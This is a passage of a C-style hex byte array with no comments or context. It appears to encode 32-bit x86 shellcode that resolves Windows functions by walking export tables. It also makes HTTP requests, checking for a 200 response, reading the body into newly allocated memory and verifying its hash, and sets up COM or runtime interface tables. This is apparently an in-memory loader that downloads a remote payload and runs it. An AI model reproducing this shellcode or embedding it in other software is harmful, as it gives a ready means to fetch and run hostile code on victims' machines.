0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00, 0x00, 0x00, 0x55,
0x57, 0x8d, 0x86, 0xac, 0x03, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34,
0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00, 0xbf, 0x87,
0x15, 0x40, 0x00, 0x81, 0xef, 0x7b, 0x15, 0x40, 0x00, 0x0f, 0x88, 0x99,
0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55,
0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x57,
0xe8, 0x80, 0x16, 0x00, 0x00, 0xb9, 0x7b, 0x15, 0x40, 0x00, 0x81, 0xe9,
0x85, 0x2c, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8, 0x09, 0x19, 0x00,
0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x74, 0x24,
0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 0xbc, 0x03, 0x00, 0x00,
0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x74, 0x49, 0xbf,
0x9d, 0x15, 0x40, 0x00, 0xbb, 0x91, 0x15, 0x40, 0x00, 0x2b, 0xfb, 0x78,
0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, 0xff, 0x56,
0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x26, 0x16, 0x00, 0x00, 0x81,
0xeb, 0x85, 0x2c, 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55, 0xe8, 0xb4, 0x18,
0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x74,
0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0, 0x40, 0xeb, 0x02,
0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x51, 0x53, 0x56, 0x8b,
0x74, 0x24, 0x10, 0x8d, 0x86, 0x4c, 0x03, 0x00, 0x00, 0x50, 0xff, 0x56,
0x30, 0x8b, 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00, 0x00,
0x00, 0x55, 0x57, 0x8d, 0x86, 0x5c, 0x03, 0x00, 0x00, 0x50, 0x53, 0xff,
0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00,
0xbf, 0x7b, 0x2c, 0x40, 0x00, 0x81, 0xef, 0xfc, 0x14, 0x40, 0x00, 0x0f,
0x88, 0x99, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40,
0x57, 0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00,
0x00, 0x57, 0xe8, 0x9a, 0x15, 0x00, 0x00, 0xb9, 0xfc, 0x14, 0x40, 0x00,
0x81, 0xe9, 0x85, 0x2c, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8, 0x23,
0x18, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff,
0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 0x7c, 0x03,
0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x74,
0x49, 0xbf, 0x72, 0x2c, 0x40, 0x00, 0xbb, 0x63, 0x2c, 0x40, 0x00, 0x2b,
0xfb, 0x78, 0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55,
0xff, 0x56, 0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x40, 0x15, 0x00,
0x00, 0x81, 0xeb, 0x85, 0x2c, 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55, 0xe8,
0xce, 0x17, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50,
0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0, 0x40,
0xeb, 0x02, 0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x81, 0xec,
0x58, 0x02, 0x00, 0x00, 0x53, 0x56, 0x57, 0x6a, 0x3c, 0x5f, 0x33, 0xf6,
0x8d, 0x44, 0x24, 0x28, 0x57, 0x56, 0x50, 0x89, 0x74, 0x24, 0x1c, 0xbb,
0x00, 0x02, 0x60, 0x84, 0xe8, 0xb1, 0x17, 0x00, 0x00, 0x8d, 0x44, 0x24,
0x70, 0x89, 0x7c, 0x24, 0x34, 0x8b, 0xbc, 0x24, 0x74, 0x02, 0x00, 0x00,
0x83, 0xc4, 0x0c, 0x89, 0x44, 0x24, 0x38, 0x8d, 0x84, 0x24, 0x64, 0x01,
0x00, 0x00, 0x89, 0x44, 0x24, 0x54, 0xb8, 0x00, 0x01, 0x00, 0x00, 0x89,
0x44, 0x24, 0x3c, 0x89, 0x44, 0x24, 0x58, 0x8d, 0x44, 0x24, 0x28, 0x50,
0x68, 0x00, 0x00, 0x00, 0x10, 0x56, 0x8d, 0x87, 0x20, 0x05, 0x00, 0x00,
0x50, 0xff, 0x57, 0x7c, 0x85, 0xc0, 0x0f, 0x84, 0xa3, 0x01, 0x00, 0x00,
0x33, 0xc0, 0x83, 0x7c, 0x24, 0x34, 0x04, 0x56, 0x56, 0x0f, 0x94, 0xc0,
0x56, 0x89, 0x44, 0x24, 0x20, 0xb8, 0x00, 0x32, 0xe0, 0x84, 0x56, 0x56,
0x0f, 0x44, 0xd8, 0xff, 0x97, 0x80, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24,
0x24, 0x85, 0xc0, 0x0f, 0x84, 0x76, 0x01, 0x00, 0x00, 0x56, 0x56, 0x6a,
0x03, 0x56, 0x56, 0xff, 0x74, 0x24, 0x54, 0x8d, 0x4c, 0x24, 0x7c, 0x51,
0x50, 0xff, 0x97, 0x84, 0x00, 0x00, 0x00, 0x8b, 0xc8, 0x89, 0x4c, 0x24,
0x20, 0x85, 0xc9, 0x0f, 0x84, 0xfb, 0x00, 0x00, 0x00, 0x55, 0x56, 0x53,
0x56, 0x56, 0x56, 0x8d, 0x84, 0x24, 0x7c, 0x01, 0x00, 0x00, 0x50, 0x8d,
0x87, 0x20, 0x06, 0x00, 0x00, 0x50, 0x51, 0xff, 0x97, 0x94, 0x00, 0x00,
0x00, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xca, 0x00, 0x00, 0x00, 0x39,
0x74, 0x24, 0x18, 0x74, 0x20, 0xf7, 0xc3, 0x00, 0x10, 0x00, 0x00, 0x74,
0x18, 0x6a, 0x04, 0x8d, 0x44, 0x24, 0x20, 0xc7, 0x44, 0x24, 0x20, 0x80,
0x33, 0x00, 0x00, 0x50, 0x6a, 0x1f, 0x55, 0xff, 0x97, 0x88, 0x00, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x55, 0xff, 0x97, 0x98, 0x00, 0x00, 0x00,
0x85, 0xc0, 0x0f, 0x84, 0x8a, 0x00, 0x00, 0x00, 0x56, 0x8d, 0x44, 0x24,
0x14, 0xc7, 0x44, 0x24, 0x14, 0x04, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x44,
0x24, 0x1c, 0x50, 0x68, 0x13, 0x00, 0x00, 0x20, 0x55, 0xff, 0x97, 0x9c,
0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x67, 0x81, 0x7c, 0x24, 0x14, 0xc8,
0x00, 0x00, 0x00, 0x75, 0x5d, 0x56, 0x8d, 0x44, 0x24, 0x14, 0xc7, 0x44,
0x24, 0x14, 0x04, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x9f, 0x50, 0x07, 0x00,
0x00, 0x53, 0x68, 0x05, 0x00, 0x00, 0x20, 0x55, 0x89, 0x33, 0x89, 0x73,
0x04, 0xff, 0x97, 0x9c, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x33, 0x8b,
0x03, 0x0b, 0x43, 0x04, 0x74, 0x2c, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00,
0x00, 0xff, 0x33, 0x56, 0xff, 0x57, 0x3c, 0x89, 0x87, 0x58, 0x07, 0x00,
0x00, 0x85, 0xc0, 0x74, 0x15, 0x8d, 0x4c, 0x24, 0x20, 0x89, 0x74, 0x24,
0x20, 0x51, 0xff, 0x33, 0x50, 0x55, 0xff, 0x97, 0x8c, 0x00, 0x00, 0x00,
0x8b, 0xf0, 0x55, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0xff, 0x74, 0x24,
0x24, 0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x5d, 0xff, 0x74, 0x24, 0x24,
0xff, 0x97, 0x90, 0x00, 0x00, 0x00, 0x85, 0xf6, 0x74, 0x45, 0xff, 0xb7,
0x50, 0x07, 0x00, 0x00, 0x8b, 0x9f, 0x58, 0x07, 0x00, 0x00, 0x8d, 0x87,
0x40, 0x07, 0x00, 0x00, 0x53, 0x50, 0x8d, 0x87, 0x30, 0x07, 0x00, 0x00,
0x50, 0xe8, 0xc7, 0x14, 0x00, 0x00, 0xff, 0x77, 0x2c, 0x8d, 0x87, 0x28,
0x06, 0x00, 0x00, 0xff, 0x77, 0x28, 0x50, 0xe8, 0x90, 0x13, 0x00, 0x00,
0x83, 0xc4, 0x1c, 0x3b, 0x83, 0x08, 0x19, 0x00, 0x00, 0x75, 0x0c, 0x3b,
0x93, 0x0c, 0x19, 0x00, 0x00, 0x75, 0x04, 0x8b, 0xc6, 0xeb, 0x02, 0x33,
0xc0, 0x5f, 0x5e, 0x5b, 0x81, 0xc4, 0x58, 0x02, 0x00, 0x00, 0xc3, 0x81,
0xec, 0xdc, 0x01, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24, 0xf0,
0x01, 0x00, 0x00, 0x57, 0x8b, 0x6e, 0x3c, 0x8b, 0x44, 0x2e, 0x78, 0x85,
0xc0, 0x0f, 0x84, 0xe5, 0x00, 0x00, 0x00, 0x8d, 0x3c, 0x30, 0x8b, 0x5f,
0x18, 0x85, 0xdb, 0x0f, 0x84, 0xd7, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x1c,
0x33, 0xd2, 0x03, 0xc6, 0x89, 0x54, 0x24, 0x10, 0x89, 0x44, 0x24, 0x24,
0x8b, 0x47, 0x20, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x47, 0x24,
0x03, 0xc6, 0x89, 0x44, 0x24, 0x20, 0x8b, 0x47, 0x0c, 0x03, 0xc6, 0x8a,
0x08, 0x84, 0xc9, 0x74, 0x2a, 0x8b, 0x74, 0x24, 0x10, 0x8d, 0x94, 0x24,
0xe8, 0x00, 0x00, 0x00, 0x2b, 0xd0, 0x80, 0xc9, 0x20, 0x46, 0x88, 0x0c,
0x02, 0x40, 0x8a, 0x08, 0x84, 0xc9, 0x75, 0xf2, 0x89, 0x74, 0x24, 0x10,
0x8b, 0xb4, 0x24, 0xf4, 0x01, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x10, 0xff,
0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8d, 0x84, 0x24, 0xec, 0x00, 0x00,
0x00, 0xc6, 0x84, 0x14, 0xec, 0x00, 0x00, 0x00, 0x00, 0xff, 0xb4, 0x24,
0x04, 0x02, 0x00, 0x00, 0x50, 0xe8, 0xc6, 0x12, 0x00, 0x00, 0x89, 0x44,
0x24, 0x24, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x14, 0x83, 0xc0, 0xfc,
0x89, 0x54, 0x24, 0x1c, 0x8d, 0x04, 0x98, 0x89, 0x44, 0x24, 0x10, 0xff,
0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8b, 0x08, 0xff, 0xb4, 0x24, 0x04,
0x02, 0x00, 0x00, 0x03, 0xce, 0x51, 0xe8, 0x95, 0x12, 0x00, 0x00, 0x33,
0x44, 0x24, 0x24, 0x83, 0xc4, 0x0c, 0x33, 0x54, 0x24, 0x1c, 0x3b, 0x84,
0x24, 0xf8, 0x01, 0x00, 0x00, 0x75, 0x09, 0x3b, 0x94, 0x24, 0xfc, 0x01,
0x00, 0x00, 0x74, 0x1d, 0x8b, 0x44, 0x24, 0x10, 0x83, 0xe8, 0x04, 0x89,
0x44, 0x24, 0x10, 0x83, 0xeb, 0x01, 0x75, 0xbb, 0x33, 0xc0, 0x5f, 0x5e,
0x5d, 0x5b, 0x81, 0xc4, 0xdc, 0x01, 0x00, 0x00, 0xc3, 0x8b, 0x44, 0x24,
0x20, 0x8b, 0x4c, 0x24, 0x24, 0x0f, 0xb7, 0x44, 0x58, 0xfe, 0x8b, 0x0c,
0x81, 0x03, 0xce, 0x3b, 0xcf, 0x72, 0x7d, 0x8b, 0x44, 0x2e, 0x7c, 0x03,
0xc7, 0x3b, 0xc8, 0x73, 0x73, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x1e, 0x8d,
0x7c, 0x24, 0x28, 0x8b, 0xf1, 0x2b, 0xf9, 0x83, 0xfa, 0x3c, 0x73, 0x11,
0x8a, 0x06, 0x88, 0x04, 0x37, 0x80, 0x3e, 0x2e, 0x74, 0x07, 0x42, 0x46,
0x80, 0x3e, 0x00, 0x75, 0xea, 0xc7, 0x44, 0x14, 0x29, 0x64, 0x6c, 0x6c,
0x00, 0x42, 0x03, 0xca, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x17, 0x8d, 0x74,
0x24, 0x68, 0x2b, 0xf1, 0x83, 0xfa, 0x7f, 0x73, 0x0c, 0x8a, 0x01, 0x42,
0x88, 0x04, 0x0e, 0x41, 0x80, 0x39, 0x00, 0x75, 0xef, 0x8b, 0xb4, 0x24,
0xf0, 0x01, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x28, 0x50, 0xc6, 0x44, 0x14,
0x6c, 0x00, 0xff, 0x56, 0x30, 0x85, 0xc0, 0x74, 0x0d, 0x8d, 0x4c, 0x24,
0x68, 0x51, 0x50, 0xff, 0x56, 0x34, 0x8b, 0xc8, 0xeb, 0x02, 0x33, 0xc9,
0x8b, 0xc1, 0xe9, 0x5b, 0xff, 0xff, 0xff, 0x56, 0x8b, 0x74, 0x24, 0x0c,
0x57, 0x33, 0xff, 0x8b, 0x4e, 0x18, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01,
0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x18, 0x8b, 0x4e, 0x1c, 0x85, 0xc9,
0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x1c, 0x8b,
0x4e, 0x14, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08,
0x89, 0x7e, 0x14, 0x8b, 0x4e, 0x10, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01,
0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x10, 0x8b, 0x4e, 0x0c, 0x85, 0xc9,
0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x0c, 0x8b,
0x4e, 0x08, 0x85, 0xc9, 0x74, 0x12, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x2c,
0x8b, 0x46, 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x89, 0x7e, 0x08,
0x8b, 0x4e, 0x04, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50,
0x08, 0x89, 0x7e, 0x04, 0x8b, 0x0e, 0x85, 0xc9, 0x74, 0x08, 0x8b, 0x01,
0x51, 0xff, 0x50, 0x08, 0x89, 0x3e, 0x5f, 0x5e, 0xc3, 0x8b, 0x44, 0x24,
0x04, 0x83, 0xc0, 0x10, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04, 0x00,
0xb8, 0x01, 0x40, 0x00, 0x80, 0xc2, 0x0c, 0x00, 0xb8, 0x01, 0x40, 0x00,
0x80, 0xc2, 0x10, 0x00, 0x8b, 0x44, 0x24, 0x04, 0xff, 0x74, 0x24, 0x18,
0xff, 0x74, 0x24, 0x14, 0x8b, 0x40, 0x08, 0xff, 0x74, 0x24, 0x14, 0x50,
0x8b, 0x08, 0xff, 0x51, 0x28, 0xc2, 0x18, 0x00, 0xb8, 0x01, 0x40, 0x00,
0x80, 0xc2, 0x14, 0x00, 0x57, 0x8b, 0x7c, 0x24, 0x14, 0x85, 0xff, 0x75,
0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x16, 0x56, 0x8b, 0x74, 0x24,
0x0c, 0x8b, 0x46, 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b, 0x46,
0x08, 0x89, 0x07, 0x33, 0xc0, 0x5e, 0x5f, 0xc2, 0x10, 0x00, 0x8b, 0x44,
0x24, 0x08, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb,
0x08, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc2, 0x08, 0x00,
0x55, 0x8b, 0xec, 0xff, 0x75, 0x28, 0x8b, 0x45, 0x08, 0xff, 0x75, 0x24,
0xff, 0x75, 0x20, 0x8b, 0x48, 0x08, 0xff, 0x75, 0x1c, 0xff, 0x75, 0x18,
0x8b, 0x11, 0xff, 0x75, 0x0c, 0x50, 0x51, 0xff, 0x52, 0x2c, 0x5d, 0xc2,
0x24, 0x00, 0x53, 0x56, 0x57, 0xe8, 0x03, 0x10, 0x00, 0x00, 0x8b, 0x74,
0x24, 0x14, 0xb9, 0xf3, 0x1e, 0x40, 0x00, 0xbf, 0x85, 0x2c, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0xe8, 0x0f, 0x00,
0x00, 0xb9, 0xcd, 0x1b, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x89, 0x48, 0x04, 0xe8, 0xd5, 0x0f, 0x00, 0x00, 0xb9, 0x7c, 0x1f, 0x40,
0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0xc2,
0x0f, 0x00, 0x00, 0xb9, 0x3a, 0x1c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8,
0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0xaf, 0x0f, 0x00, 0x00, 0xb9, 0x10,
0x1c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10,
0xe8, 0x9c, 0x0f, 0x00, 0x00, 0xb9, 0xec, 0x1b, 0x40, 0x00, 0x2b, 0xcf,
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x14, 0xe8, 0x89, 0x0f, 0x00, 0x00,
0xb9, 0x54, 0x1c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
0x48, 0x18, 0xe8, 0x76, 0x0f, 0x00, 0x00, 0xb9, 0x5f, 0x13, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x63, 0x0f,
0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
0x06, 0x89, 0x48, 0x20, 0xe8, 0x50, 0x0f, 0x00, 0x00, 0xb9, 0x71, 0x12,
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8,
0x3d, 0x0f, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x28, 0xe8, 0x2a, 0x0f, 0x00, 0x00, 0xb9,
0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
0x2c, 0xe8, 0x17, 0x0f, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b,
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x30, 0xe8, 0x04, 0x0f, 0x00,
0x00, 0xb9, 0x64, 0x1f, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x89, 0x48, 0x34, 0xe8, 0xf1, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40,
0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x38, 0xe8, 0xde,
0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8,
0x8b, 0x06, 0x89, 0x48, 0x3c, 0xe8, 0xcb, 0x0e, 0x00, 0x00, 0xb9, 0x71,
0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x40,
0xe8, 0xb8, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf,
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x44, 0xe8, 0xa5, 0x0e, 0x00, 0x00,
0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
0x48, 0x48, 0xe8, 0x92, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x4c, 0xe8, 0x7f, 0x0e,
0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
0x06, 0x89, 0x48, 0x50, 0xe8, 0x6c, 0x0e, 0x00, 0x00, 0xb9, 0xe4, 0x1b,
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x54, 0xe8,
0x59, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x58, 0xe8, 0x46, 0x0e, 0x00, 0x00, 0xb9,
0x08, 0x1c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
0x5c, 0xe8, 0x33, 0x0e, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b,
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x60, 0xe8, 0x20, 0x0e, 0x00,
0x00, 0xb9, 0x8c, 0x1f, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x89, 0x48, 0x64, 0xe8, 0x0d, 0x0e, 0x00, 0x00, 0xb9, 0xdc, 0x1b, 0x40,
0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x68, 0xe8, 0xfa,
0x0d, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8,
0x8b, 0x06, 0x89, 0x48, 0x6c, 0xe8, 0xe7, 0x0d, 0x00, 0x00, 0xb9, 0x71,
0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x70,
0xe8, 0xd4, 0x0d, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x8d, 0x5e,
0x04, 0x2b, 0xcf, 0x8b, 0x7c, 0x24, 0x10, 0x03, 0xc8, 0x8b, 0x06, 0x53,
0x89, 0x48, 0x74, 0x8d, 0x87, 0xdc, 0x03, 0x00, 0x00, 0x83, 0x66, 0x10,
0x00, 0x50, 0x89, 0x7e, 0x14, 0xff, 0x57, 0x78, 0x85, 0xc0, 0x75, 0x13,
0x8b, 0x0b, 0x8d, 0x46, 0x08, 0x50, 0x8d, 0x87, 0x8c, 0x04, 0x00, 0x00,
0x50, 0x8b, 0x11, 0x51, 0xff, 0x52, 0x18, 0x5f, 0x5e, 0x5b, 0xc3, 0x8b,
0x54, 0x24, 0x0c, 0x85, 0xd2, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80,
0xeb, 0x5f, 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xc9, 0x56, 0x8b, 0x74,
0x24, 0x0c, 0x57, 0x8b, 0x7e, 0x14, 0x8b, 0x84, 0x8f, 0xfc, 0x03, 0x00,
0x00, 0x3b, 0x04, 0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee,
0xeb, 0x2a, 0x33, 0xc9, 0x8b, 0x84, 0x8f, 0x0c, 0x04, 0x00, 0x00, 0x3b,
0x04, 0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0xeb, 0x14,
0x33, 0xc9, 0x8b, 0x84, 0x8f, 0x8c, 0x04, 0x00, 0x00, 0x3b, 0x04, 0x8b,
0x75, 0x0c, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0x89, 0x32, 0x33, 0xc0,
0xeb, 0x08, 0x83, 0x22, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e,
0x5b, 0xc2, 0x0c, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x6a, 0x00, 0x6a, 0x00,
0x6a, 0xfd, 0x8b, 0x40, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x38, 0x33,
0xc0, 0xc2, 0x08, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x83, 0xc8, 0xff, 0xf0,
0x0f, 0xc1, 0x41, 0x10, 0x48, 0xc2, 0x04, 0x00, 0x8b, 0x44, 0x24, 0x04,
0xff, 0x74, 0x24, 0x08, 0x8b, 0x40, 0x14, 0xff, 0x50, 0x4c, 0x33, 0xc0,
0xc2, 0x08, 0x00, 0x83, 0xec, 0x14, 0x53, 0x8b, 0x5c, 0x24, 0x1c, 0x55,
0x56, 0x57, 0x33, 0xff, 0x8d, 0xab, 0x58, 0x07, 0x00, 0x00, 0x83, 0xbb,
0x1c, 0x05, 0x00, 0x00, 0x01, 0x8b, 0xc7, 0x89, 0x7c, 0x24, 0x10, 0x74,
0x03, 0x8b, 0x6d, 0x00, 0x8b, 0x8b, 0xa4, 0x00, 0x00, 0x00, 0x8b, 0x74,
0x24, 0x2c, 0x85, 0xc9, 0x0f, 0x84, 0xc5, 0x01, 0x00, 0x00, 0x56, 0x8d,
0x83, 0x2c, 0x04, 0x00, 0x00, 0x50, 0x8d, 0x83, 0x1c, 0x04, 0x00, 0x00,
0x50, 0xff, 0xd1, 0x85, 0xc0, 0x0f, 0x88, 0x89, 0x01, 0x00, 0x00, 0x8b,
0x16, 0x8d, 0x7e, 0x04, 0x57, 0x8d, 0x83, 0x3c, 0x04, 0x00, 0x00, 0x50,
0x8b, 0x0a, 0x8d, 0x45, 0x04, 0x50, 0x52, 0xff, 0x51, 0x0c, 0x85, 0xc0,
0x0f, 0x88, 0x62, 0x01, 0x00, 0x00, 0x8b, 0x07, 0x8d, 0x54, 0x24, 0x14,
0x52, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x28, 0x85, 0xc0, 0x0f, 0x88, 0x5c,
0x01, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x14, 0x00, 0x74, 0x1a, 0x8b, 0x0f,
0x8d, 0x46, 0x08, 0x50, 0x8d, 0x83, 0x5c, 0x04, 0x00, 0x00, 0x50, 0x8b,
0x11, 0x8d, 0x83, 0x4c, 0x04, 0x00, 0x00, 0x50, 0x51, 0xff, 0x52, 0x24,
0x33, 0xff, 0x85, 0xc0, 0x0f, 0x88, 0x33, 0x01, 0x00, 0x00, 0x8b, 0x46,
0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x28, 0x85, 0xc0, 0x0f, 0x88, 0x05,
0x01, 0x00, 0x00, 0x8d, 0x85, 0x04, 0x02, 0x00, 0x00, 0x50, 0xff, 0x53,
0x70, 0x8b, 0x56, 0x08, 0x8b, 0xf8, 0x8d, 0x46, 0x0c, 0x50, 0x6a, 0x00,
0x8b, 0x0a, 0x57, 0x52, 0x89, 0x44, 0x24, 0x28, 0xff, 0x51, 0x30, 0x57,
0x8b, 0xf0, 0xff, 0x53, 0x74, 0x85, 0xf6, 0x0f, 0x88, 0xd7, 0x00, 0x00,
0x00, 0x8b, 0x54, 0x24, 0x18, 0x8b, 0x74, 0x24, 0x2c, 0x8b, 0x12, 0x8d,
0x46, 0x10, 0x50, 0x8d, 0x83, 0x6c, 0x04, 0x00, 0x00, 0x8b, 0x0a, 0x50,
0x52, 0xff, 0x11, 0x85, 0xc0, 0x0f, 0x88, 0xb5, 0x00, 0x00, 0x00, 0x83,
